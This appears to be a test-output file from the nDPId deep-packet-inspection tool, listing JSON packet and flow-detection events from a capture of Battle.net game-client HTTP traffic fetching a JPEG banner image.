+00617{"flow_id":51,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":688,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":962058,"pkt_caplen":200,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":200,"pkt_l4_len":166,"pkt":"hCYVPnXEIImEa8W6CABFAAC6LPtAAIAG2eLAqAFkAuQucA3NAFAjKxvefkenRlAYAQBEtgAAR0VUIC9jbXMvYm5ldF9oZWFkZXIvbWYvTUZUSDhUUzQySEtYMTQzMDE4Mzc3ODMxOS5qcGcgSFRUUC8xLjENClVzZXItQWdlbnQ6IEJhdHRsZS5uZXQgV2ViIENsaWVudA0KSG9zdDogYm5ldGNtc3VzLWEuYWthbWFpaGQubmV0DQpBY2NlcHQ6ICovKg0KDQo="} +00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":688,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":4,"flow_first_seen":1437389985925,"flow_last_seen":1437389985962,"flow_tot_l4_data_len":250,"flow_min_l4_data_len":20,"flow_max_l4_data_len":166,"flow_avg_l4_data_len":62,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"2.228.46.112","src_port":3533,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"bnetcmsus-a.akamaihd.net","url":"bnetcmsus-a.akamaihd.net\/cms\/bnet_header\/mf\/MFTH8TS42HKX1430183778319.jpg","code":0,"content_type":"","user_agent":"Battle.net Web Client"}} +00426{"flow_id":47,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":689,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":964900,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoJ7VAADkGJrsC5C5wwKgBZABQDcngMONMcUlh71AQAeoVuwAAAAAAAAAA"} +02380{"flow_id":47,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":690,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":966572,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcJ7ZAADkGIQYC5C5wwKgBZABQDcngMONMcUlh71AQAerAGQAASFRUUC8xLjEgMjAwIE9LDQpMYXN0LU1vZGlmaWVkOiBUaHUsIDA5IEFwciAyMDE1IDE0OjU0OjE0IEdNVA0KU2VydmVyOiBBcGFjaGUNClgtRnJhbWUtT3B0aW9uczogU0FNRU9SSUdJTg0KQWNjZXB0LVJhbmdlczogYnl0ZXMNCkNvbnRlbnQtTGVuZ3RoOiA1ODU2Mw0KQ29udGVudC1UeXBlOiBpbWFnZS9qcGVnDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTI5OTczNg0KRXhwaXJlczogVGh1LCAyMyBKdWwgMjAxNSAyMjoxNToyMSBHTVQNCkRhdGU6IE1vbiwgMjAgSnVsIDIwMTUgMTA6NTk6NDUgR01UDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCv\/Y\/+EAGEV4aWYAAElJKgAIAAAAAAAAAAAAAAD\/7AARRHVja3kAAQAEAAAAWQAA\/+EDK2h0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8APD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS4zLWMwMTEgNjYuMTQ1NjYxLCAyMDEyLzAyLzA2LTE0OjU2OjI3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOnhtcE1NPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvbW0vIiB4bWxuczpzdFJlZj0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlUmVmIyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDpBMEExMjY4NURBMzkxMUU0QjhFQ0M3RUQ2NkYxQjY1NSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDpBMEExMjY4NkRBMzkxMUU0QjhFQ0M3RUQ2NkYxQjY1NSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkEwQTEyNjgzREEzOTExRTRCOEVDQzdFRDY2RjFCNjU1IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOkEwQTEyNjg0REEzOTExRTRCOEVDQzdFRDY2RjFCNjU1Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+\/+4ADkFkb2JlAGTAAAAAAf\/bAIQAAQEBAQEBAQEBAQIBAQECAgIBAQICAwICAgICAwMDAwMDAwMDAwQEBAQEAwUFBgYFBQgHBwcICAgICAgICAgICAEBAQEDAgMFAwMFBwYFBgcICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI\/8AAEQgA2QGuAwERAAIRAQMRAf\/EAQ4AAAEEAwEBAQEAAAAAAAAAAAUDBAYHAQIIAAkKCwEAAQUBAQEBAQAAAAAAAAAABAECAwUGAAcICQoQAAEDAgMEBAUKCRERDgQHAAECAwQRBQAhBjESEwdBUWEIcSIyFAmBkaHRQlLSIxUWscGSM9Mk1CU="} +02390{"flow_id":47,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":691,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":966639,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcJ7dAADkGIQUC5C5wwKgBZABQDcngMOkAcUlh71AQAepN6AAAJvDhYnKCwkNTk4SUxJXVlhgZsmNzg7PDNFRkdDV1hcXlWFmiRLRVZbU2VmZ2htYXN\/FGVyijpEWlJ5c4EQABAgMEBAcKBw0FBQcCBwABAgMAEQQhMRIFQVETBmGR0SKSFQdxgaGxMkJS0xQI8OHSI1OTFsFicqIzQ6NUlNRVGAmy4uNEF4IkRVYZ8cJzZHSkRsM0Y4OztMQldf\/aAAwDAQACEQMRAD8A\/COyngqS1KQlsqIDcjY2snYK1yPYfUrj0dFNZbwcZs+HdEXyEyMl2cOj4oPtQq+5Awa3RAxaoogYJs24Gg3B62DUZeIMRQCC7NmBFFIBr0UwSjLxEwoRDc6ekWwl+DHMuDtftqR47fWpnr7UfU55GZOVmYwiywSsEtR72karRaJKGVlymZqQJp0jT3uTiiRQLVFnx0SojiX2HK7ric8waEHKoIIoQcwcHN5WDdbbLviw8Ri0pqVLqQpFoMFW9Ng0+LwUnJ4NTlcOkaXB\/Q8TpyaJ05VHp2i0XBgN7nm77RCoktAo404Nik19kHIjI4Re7wWNPIdY+EjcQQSIif3eDgvkdB1RpZ4Dj8h2z3OM3GvcNO+40AdyQzWgfZrtQTkRtScj0Exs5RzsCxJV\/ARrHgmL0ki8FKlDUVEFqLTgksaNY1jWPEbDEpRpcnPggeocHDIBFt1HDtGlVHMsJp4DiQbviJBkIh23pNaiAI6T1Chw77PiHdQiIxcNKr0pcflp2OGdN3VxCL+spIRDfXRKJRJyDaskudWSuvAb2SJZm4SZG+wGUhLETOYAAkbCBYo4QFKNJV5UKRe0s2avK4DoOqRNh7xi0WdBjpaB6vFIyxMcl4Is+qYItaAQf0DwCmE6mhwymCTXL9GXxAHbTHdTQvVMN71ymYv1nuFpcRwTNbKWpCQQpp0ZtuClM0KAUPBhjmRhQkZ968cI1EXg6DIwNV5FtUFGv4CG\/L6wDUtgbkS4qEXu1PPW\/UsQUPBuMNXDeTRJIAUaLT+RUDiJjLCsc4SULCBr4J2yIkpM7SkpOmIMtpi+3M2KBkRqIsI0\/wDZFiM8vEJPixE1PTSuJTk04OOUTgm3y+J\/3uKeA4Z1KNUM6lh+3y9OX2uB6mOOTCO6lit39Dmy847QwtCURtcWWU220U0C5lndQ4KEnNRZkqy6k1w9GQTmQhRstV5qQDIC6wqKybT5tgvircyzBUJSSAFpMhpJSZ+Inii4m+XRr\/Y4z\/InDOpRFp1NDxHLn+5h62E6lEd1NDkcuP7nSa9h9vC9Sx3UoiJcyOXfB5ca\/dLASlqyXVRUBmN2K6csEUm6yatxLCpgLISZXyUZWcNuqK\/NsrwMOKGhKjxAwroHl+Zmg9EzPN01lWi2uE0Pu47avp4KznIgiocTqWrxmHZVlALLZ+9HiEShXLgj\/e49bFWclEGnJhCCuXNK\/a4+pw3qYQnU8NV8ujX+xx62O6mEd1NFPQ9Di984tQobQHI+hbPDiuNhFQibd3FvrqffBlhvLoCu0YgTlOJZssAsI1qPOSeEBKCBYQFTMwUxVtZcF1Ckg+SkTHCq3xARZLnL0\/2uPWwR1MItOpoYOcviNscV6MscMlEJ1NDB3l\/0ebJPZTC9Sw4ZPKK61\/p46csLj8GG27frs8zb9NQyn67cJat1oUrmECriupCVHoxFUZaUCy1RsA4TrlbIeUqVoSCdEBZlSFlFnlGxPdN3L3oc2blNHsNmt1pab4ogtJS5IIO864c3HFV6VqJUe04mbyTCJCffvPCdZN5Ok2wVTZHskhI0Qs5y+Rn8QMtmWJOpomOVQOd0CgV+IHaaY7qaO6qgc7oNIqeABTbljjk0Icqir7bpA6uuBv7LCTpy1rUjTlR4s15NUuSxTIoGaW67c1dKcQNZOl2SxOQussNksQM5kEEgWAG084FJFTSZZ7SvGfIHk8J0q7mgX64kLukHUCo="} +00418{"flow_id":47,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":692,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":966652,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoLPxAAIAG2nPAqAFkAuQucA3JAFBxSWHv4DDutFAQAQALPQAA"} +02387{"flow_id":47,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":693,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":966874,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcJ7hAADkGIQQC5C5wwKgBZABQDcngMO60cUlh71AQAep4iwAAqKE9R3CMHdQgxe9RgwxXpZVPrCQfAcId3xCdRQ0c0ur9IT4KHDTu+IYciiL3e3utSG7RbI7ci9Sk74bIJRGZJIL7vUmookbVHIZAkAvZRzsCLVX8AGs+GQvUQbgFKTV1lBhUG0WrPgGs8GrWYUg6KRbWS2hHHedJXKlrFXHXDtUr6Q2AZDEqN3QkaeXhPwkLhIACJ2N3A2JXnSdcKO6ZCvKaA7QM8d1HEvU8oaL0ykA+J4MsMVk3BEZyuBc+0RLdGclzXEx47VN5ZBJqTQAAVJJOQAFSchgZ\/LA2MSrvhIDWSbABaTYLYEqaNLSSpZkBAJvTEq6K49wjGJABrGtaqbzg6FP0qO0I6OnPICqyYqJxCwTEtegk8B0DVabSAmsRlan5KWJJ0J0\/7XJxwTXYEgZNgY5eVwYrL4Gv2RSc9wU66Yh6sERHLgYGuWsjYgeGmIF5aIHcywCAPxCnwlvdWwhW6\/MqA0ldaBIUdqiogUGzw5YENEkS1XaL5yl3Z2d0SiowpKpC7SdA7+kw0bmQVJKHHmlIUKKQVpII8BOBmpxMHmyJEiFo8xqEr4iUiVE\/tUuJLjYHvCTmOw+ocWjInf8AD4XxyKlLPkqBTqmJjua+4e8dESmFebc4hLrcxrcV0lYBHYQaEYsGAFXWxdMZiyoTxjjlB5i8QBSs5gf0xHt4tWWeCD265j008Ygyxerb03COP6aj28WrNPwQe1X030iekOWG7j8KPJculmucRma5nMgrfQmPLp7\/AG7jgpQLA7CCKULby8JKlpFpF1wJ0E2EjVMaLwZJkO+phJ2jLiArSCoSV3bbDqPHMRJ7VqqzXBhTiZrUZxpRRJivONodaWMilQqR4CCQdoJGLChQl5MwCCLCDeDqPj1EEEEggm8oc3pXRPGkEXgkAjw+EWHQYksW8WZW6V3mGhJ2jzhsH6OLMUg1RYdZ0osDiOkOWDbN305kDeYWX90t\/CxKijOqHDM6b6RHSHLDa7o0reGWSNQw4FygqLtpuyJDJdjPUpvAFVFJUDRSTkoZHBLVDaCUzlbaOAizUZEiY1mAsxFJUpHzyUrTalQUmYPHaDpBsI7xh7pzVlknJkQLvPg2+920pE9pMlBYeSryX46yrxm1+uk1ScxnM5RpCsKbbAZaQDOUx3jI3GRldEuT7wMugoeUhLib7RhOpSTpB403HhmLd30t\/wAfQKD+62vh4cmgOqLtOY0v0qOkOWCbN90wgnd1BbwT\/dTNf5rDjlZPmmF9upTe4jpDlh67dtITosiDOvtslQ5ja2pcZclhSHG3AUqSoFVCCCQcMXkoWClSJg2EETBHCIauoo1CRcbIP3w5YjOi9R2jT893Q111LElx4ra39IXpUlpYftyCB5u64VU48feCTU1UjdVmd+gTdEEObApVORUkk4ioAgGZkCMJUBzpkgpOJSivDTZTUsMqNOtxBAtQZ3p9EmcsSfCmRlfFtMag0tl+E1t8PnjHwsWHU59E8Ri\/9opfpEdIcsF2dQaTFK6otvhMxj4eE6nV6J4jDvaKX00dIcsF2NQaRy\/Cm2fsyP8ADw05Mr0DxGE29N6aOkOWK5+WdM6Q5oxZ8bUVvc05zPQI113JbK0Rb5BbKmHVfGEJTJjoU2o08pCK5nEbmWhMklMioyFkipQSToRMnAkkqWuQShKUptMUKlMsVQUFpKHbDzhILA5ptVZiTZYL0p1xeTOoNG1H4W2r9nR\/h445Kv0FcRi92tP6aekOWCjOoNFZD53Wr9nRh+fwnUa\/QVxGE2lP6aeMcsFGtQaJyrrC0\/s+N9kwnUTn0auIwhcp\/STxiKm5yX\/SFsY5ea0iastbytFamtjs9AmsKpb7mV2yUo7rgoG25pcqTQbueWK3NsvTSth+oQoJQpMjPCAVHZzUSDzUhZURYSQLQJxT50WgEOpWgYFpJmQeao4DpssVOdt0X40="} +02398{"flow_id":47,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":694,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":967040,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcJ7lAADkGIQMC5C5wwKgBZABQDcngMPRocUlh71AQAeoAugAA3\/QwyOsrQD0jz+Nt\/VMWPULv0auIxcEs+knjEEG7\/oTp1nZ\/3Qi\/ZMJ1A79GriPJCTZ9JPHD1GoNB9OtLP4flGKP65h3UDv0auIw75n0hxxCeal60RI5W8yWY2rbVIkvWC8pjx258da3FqiPBKUpS4SSTkAMW+72QuiqZJbVLGnQfSHBFTn+xNK7zh5CtP3pj3Ku9aKZ5XctmZOr7TGktWCzpkR3J8ZDiFpiMhSVJU4CCDkQcN3hyF1VU8Q2ry1aD6R4ITIdj7M1NQ8hOn70RNl6g0Ef\/nSz\/ujF+yYqOoHvo1cR5ItTsdaeOGa9QaDGzWdnHV98Yvw8NOQu\/Rq6JhJs+knjhku\/6FJoNZWcnopcI32TCdQu\/Rq4jyQg2J85PHFCcldQaRudr1xrWdq61tu661LdpUNtcyOhQgwFptkSm8sEpU1BCwSBXeyypiuyvL01SS9ToUUqUqZBxJJQdniSQAJKCAqU1SJPOIinyYtKC3CtJxLVK2VgOBOnSEgz4Ytt3UGiM\/wwtP7PjfZMWPUTn0auIxcYmPSTxiBjt\/0Ua01faT4J0b4eHdRuegriMLjp\/STxjlgW\/qHRhH\/S21H9fR\/h44ZIv0FcRjtpT+mnpDlijGL5pnWHNWfdHdS25OmeV7S4NnK5bKUSr7OQlUt5Pxu6oRmClkHdyUtwVxXU2WJqHFLQQsIOGQmcK71YrJYgkpCSkzGJxKrTIUiCy9UlSlAIasFotWRzj5XmghNovKtUWQ9qHR+dNVWv9mx\/h4tBkyvQPEYvdrTemnpDlgU\/qDSVDTVNsP68j\/Dw4ZMr0DxGF29N6aOkOWA79\/0pQkantpJ6BMY+Hhepz6J4jCbel9NHSHLFQ601HZ9SXNjQdr1LEiQnkJf1reUSW2+Db17wRGZcCgONJUKGhqlsKORKa1tRQKW6GUAggBSpTBCTiAkbwVKSRMCYSFEKQrATRZq8w+oU6VokbVnFcn0Rb5SvAmZ0piVJvGkYkdmJFv1sYjRUJbjx0SWEobbQAlKUgKoAAKAYtVZUSZlJn34tkP0aAEhaABYAFCzwwPe1Dpv\/AKxW\/wDZTJ\/PYacp+9Phhxq6T6RHSHLAV28aXUSfl6Bn\/dTXwsOOXkaDC9Y0v0qOkOWIfqHVtjhKj220XKDPvtyCvM2lSUebsNjyn5CwrxW09W1R8VPSRA0w2XNmSAoDFhmMUpymBfKdk5SimzjP2mgEMqQpxV1owj75R0Aar1GwawzszelLJGeB1HEuNxmr4t2uzslnjSniKFSqKolIGSUjJKaAYgp8o2KZAHWSbydZsv7wAAAACQAEy5VJTpM3kKUbVKKkzJ47ANAuAh47dtNnP5ahfslv4WFNEdUFKzOm+kR0hywwduunjXdvUMdoktfCxCaM6ohOZ030iOkOWIvd9U2S2IQTcWZr753YcNh1tbryjlRI3gABXMkgDaSBivrVtsyCvKPkp85UtAGnhNwFqiACYHrM5pWk4gtJJsABBJPH4TZEbjOwX5Td3vd3hyLg3XzKEh9Co0MKr9brQrcIyUsivvQkEgjjKiSlbg5wFwuBM7RO0mRw4joBkE4lA09OqnUravutlWgBQwpHBrOtR7gkIJu3q19FyjHwOt+3jnKPgg5dfSn84jpDlga7erYdlxj5fz1v28BOUnBAa6+m+kR0hywInX+0x2VPO3FjhjIgLSonsAFST4MVz7ITfZ8dg4zZAFTmVMgYsae8Z+KIo9LauSlGXMahwTXdgpeSHXQf01QPij8in1T0YEUCidmmw\/AXz7uvTZROVSKjy1hKfRmJn8Izs7g750RgzLP4rHGjeb03eDvo3N2mymymACg4tM4nLzEsOJMtUxKIK042PcD1hjBtuxUNqEFWHUinijwUGLBp6DW1CH24hSxIYWI0ugBeCQQoD3Kx7ofQ6MWtO6AZxMtgKOJJkrXr7o0+PUY="} +00420{"flow_id":47,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":695,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":967052,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoLP1AAIAG2nLAqAFkAuQucA3JAFBxSWHv4DD6HFAQAQD\/1AAA"} +02390{"flow_id":47,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":696,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":967119,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcJ7pAADkGIQIC5C5wwKgBZABQDcngMPoccUlh71AQAeo7qwAADcK6gOIjy2kxpCvIyBbc\/KGnsHPFww\/B9HXiYQ4AFeA9w\/cviVxpacqJSfzKfaxdsP8AwlGkZcHBxRII0sKoA2gn8on2sXDL3c4otWXRwcQh9JgtTFMzIzzcC8RUkQ7gGG1gJVQltxBADjaqZpPhBBocFuTWOZIKlYcIMrQSNcjITAIJFxBkQyppg8oOJklabjIXaiNI4DdeJG2Ddl1Kl+R8mXKFGt97aRvLjcJtTTyBtcYWWxvo68t5PSBlU2mrAVBtUguU5eAyMhORv1TEwJiDcszcrOzdSEuDRISI1pMrR4RcdE5sxNay+IjHs82a+Bi6bjSNvdziHJBlia2cxGij9as\/Awa2mcHtu8A4hyQ1vNtbvSIUqKqPbL5Zlrdsl3RDZUWXFpKVJWjcAcacGS0HIjMUUEqDKvLi7JSThWPJVKd94IsmkyExMXAghSUqA+Y0AqAFCSVpM0qwpsMparQRYRp4CAQW0xqw3PziBc7VCtmobXui620xGFooqu48yotDfZc3Tuqp1pNFAgSZbV7aaFjC4nyk333EGQmk+aqQ0ggKCkgjKc1Ls0OJSlxPlCQ7xFlqToPdBtBidsz0f2pC\/YMb7Fi4TTRfpXwDojkguxckVA8ygH\/J8U\/1nEopIkC+AdEckNdSwEamtBhsJg2u6wnWpdgvCLbFK4k+Od5lygaG8ivirQTRaCpByUcQVmUbVP3wM0kzsVoNhSZaCARiSSkmRMAZxl3tbWBJwqBBSoJTNKhaDaO8RpBINhgzonXKtQW51U6y2y2320uqiajtBtkNXm8toAndJY8ZtxKkuNq90hQORqAzL0F5JxCS0mSkhU5G+8aCCFCYBwkEpBsCZLmpqkHEnCtJwqThFihqstBEik6UkGLGj3gCn3utWf8AyRCP7Xwd1Z3eMxckHV4ByQdj3ylALZaPVs0A\/tbDTlXd4zHYD8AOSBetoR1rpK66cbatdqmyQy\/Z7u1aITbkO4QnUSYj4LbCFKDb7SFKSTRYBSqqSQa\/Mt3S+2UgkKsKSZkBSTNKsJMlSUAZGwykbIrs1ys1LRRORsIMgZKBmky0yIBlcbjYYN8t+ZL2rtKWu8SrBZIF2SHIuo7WbFbFGJdIS1MTGD9qkHcebUAekUIyIxBlLPtjQdkpJtBGJRwqSSlSZ2TwqBTMWGUxZKIsmqlVbKXCJKtChqUDJQ7xBHDfFnR9Sry+89hy2V09az+1MHnJJ6VdJXLFr7KeGDcfUrppSzafp\/3ctX3HhhyThX0lcsd7GeGAfMWK5r7l1rjRJtdijK1XabhAZltaftjLrTkplbbbiHG4qFJUhSgoFKgQRtwPU7tIfQptwuYVApMlGclCRlOYnI2TB7hitzfI1VLDjIJBUlSZm0CYInLgv16pGDXKvme9rrl3obWLlh00iRqW1QJstlOmrQpLch9lC3UA+YjyFlSdnRgHKaIVjDdQMaQtKVSxqMsQBlOYnKd8hPUIiyNKqunbemZrSk2EymQCdOiLRZ1G4afeLTn8GLP9w4sPs\/wr6a+WLXqo61cZ5YJt6idy+8Wm\/wCC9nP7Rw37P\/fL6a+WO6pOtfSPLEB5zX9xzk5zYbNl081v6ZvqeI1pu0tOprBfFULRCSpKh0FJBBzGLzdnI9nWMrBXMOINqlEWKF4JII1ggg6Yot6crKaJ9RKrG13ky8k3gmUe5OX11jlBypZFk085wdN2JPEd01aXnVbsJgVWtcIrUo0zKiSTtw3ebJNpWPLJXa4s2KUBao3AEADUAABoh27WUE0bNqvyaLiQPJFwnZE+d1G7\/wARaaoP+zFnH7RxR\/Z775fTXyxc9UHWvpHlgY9qN2v+AtOV\/wC7FoH7Rx32f4V9NfLHHKjrVxnlirua3M2XojlzrrVsWxaaXO09ap0q2NL0xaSl2W20sx2yBBqd93dTTpriCryhTTaloS64pIJCErU="} +02392{"flow_id":47,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":697,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":967398,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcJ7tAADkGIQEC5C5wwKgBZABQDcngMP\/QcUlh71AQAeoMhgAAzVITwi+03Cw9w3RTbwToqV1+ZGFJImTKcrBfpMhA7QDK9B8v9EaJTbbBM+aNot1tXNXp21uOPqhMNsqdWtcNSlKWUFSlKJJJqSTh9JuwhhCWmy5hSABNSpyAkJykJy1ADUBBOU5EaZhDU1HCkDSLhK6dnhg0\/qd2p+8unx\/4ctP3GMEjIuFfSVyxYewHWrjMBn9TOdNmsI8GnbX9KHh\/UnCrpK5YT2M8MVdzL5mP6Q0ldLvE0\/Yp97d4UPTNrFitaTLus5aWIbIrFAot5xNT0JqTkMAZqwKRou85RsAGJQxKUQlKZ2yxKITMiQnM2RUZ9VKpGStImsyCQdKlGSReNJE7bpmBejYo0ZpS06c4NqukmGlxy53Z6zwXHZc6U4t+U+orjqI4rzq17taJBoKAAYtlZTMztHcATM6SQgITiN6iEjEolREyYnyjJzSMpanMi0mV6iZqOmUySZTsuFgghIvpP\/6ZZ\/3FgD6EbHDKeFXGYsdmfgBAOReq1HybaR1UtEEftfD+q+7xmOwH4AckVxrbXK9PwY6IFktdx1De3hD03a\/kyGkPS1pUqqyGKpabQlTjihsSDSpoCDXtFlIw2rJklJVhme6dQmoyBOEEhJIkafOszNMgBIBcWcKBIWq4ZCxIEyo6ADpkIB6WtqNK2Ru3OiFdrpJcclX+9uW2LxZs+Qd555Q4R3Uk5IQDRCAlCfFSMdl2RlhACjiWbVKuxKlIqItvlYLkgBKZJAAlyrLvZW8JkpRJKlYUjEomZMgNdw0CQFgEPZFyQanzGB6luij+s4O9iiwJ4BxDkgG\/cEGv2nBFejzGN9ixGaSIVK4B0RyRAtT6s+TDGt1rtMK56ium8LXbPNGEJATTfefUGjuMt1G8qlTkkAqIGKjMqnYkISMTivJTdOV5JkcKRZNUjoABUUpNFm2blkhtpIU6q4SEuFSjKxI0nTcJkwPsdtZsjEpyR5tc7zdXA\/fLwqEwlUh\/dCQEp3DuNoSAlCBkkdZJJfTUikJ55BUbSQkJme4BoEgCSpWEAFRlOB8sysUoUoyUtZmpRAtMparALkpFg7pJLp+W10xoo7BFZH5zHKagxa+AcQ5IEPS2z\/veP+xmvgYFWiA3HOAcQ5Ih931GhiSLTa4Ue4Xt1O8I\/BbDUdB2OSFhB3E9Q8pXQNpFYupRj2c+dKcpXCcrdU9E75GU5GWbzTNig7NlIU4dEhJPCoysHhNwF5A+329mAp+bLcbuV4mpSJ9zVHbQVJTsQ2gAhttPQkeEkmpwG00pAmsgqlaZATtJAs0CZwgkkC8kkkj0tEGSXFc5ZvUQOIDQOAd0zNsJyXUpzShtXZw01\/mcRrc+EoIW8DoHEOSAj8lOZKEU\/KJ9rALioEdWODiERSdeEqcXFtzCJctOTpoA0z\/RFU2\/kRmewZ4rXHYzNZmQKi20kKXp1J7p+4Le4LYFojttOGXKUmZPII86UgJ3EnaltPuU+yeknFXUKBM5CY+7KfHIcQgJqiCDjWcS9cruADQPDrJho++g18RJ9Qe1iredhruHUIElxnjI+LTWpqaD2sVpetvgAkTiq23+F9acBT+lE\/QPRjAJejEJdw+Se9BOPcWifLCVDakkVGDWqgQezWpOmCzVyZ6Xkj1Ri0ZqBrixbrU6xxwRTPhPNlp91txtXlJJGLVqpGuDDUtuDCogjuw8j3jzGm9LTMhjp3wp9sfnx7PhxbM1oTpsh7OZbDzsSe7zhyjw92JfD1BBUhC0TGdxWw74H08XlPWJNs40LGbNETxjjESGPqKAnbLZ\/VU+3i5Yq06xFozmrXpp4xDuVcrDdGEsy5jQU0oLiyUvJQ6y6Ni21g1SofQyOVRizC21yJImLRdYZSmNRkSO4YkqainqE4VrGsEKAIOsHQf+w2Q4tWs2oj6Lbe7hHcUs0gXlC0JakU9y4mvxbtNo8lW1PvRNR5rgXs0="} +00419{"flow_id":47,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":698,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":967410,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoLP5AAIAG2nHAqAFkAuQucA3JAFBxSWHv4DEFhFAQAQD0bAAA"} 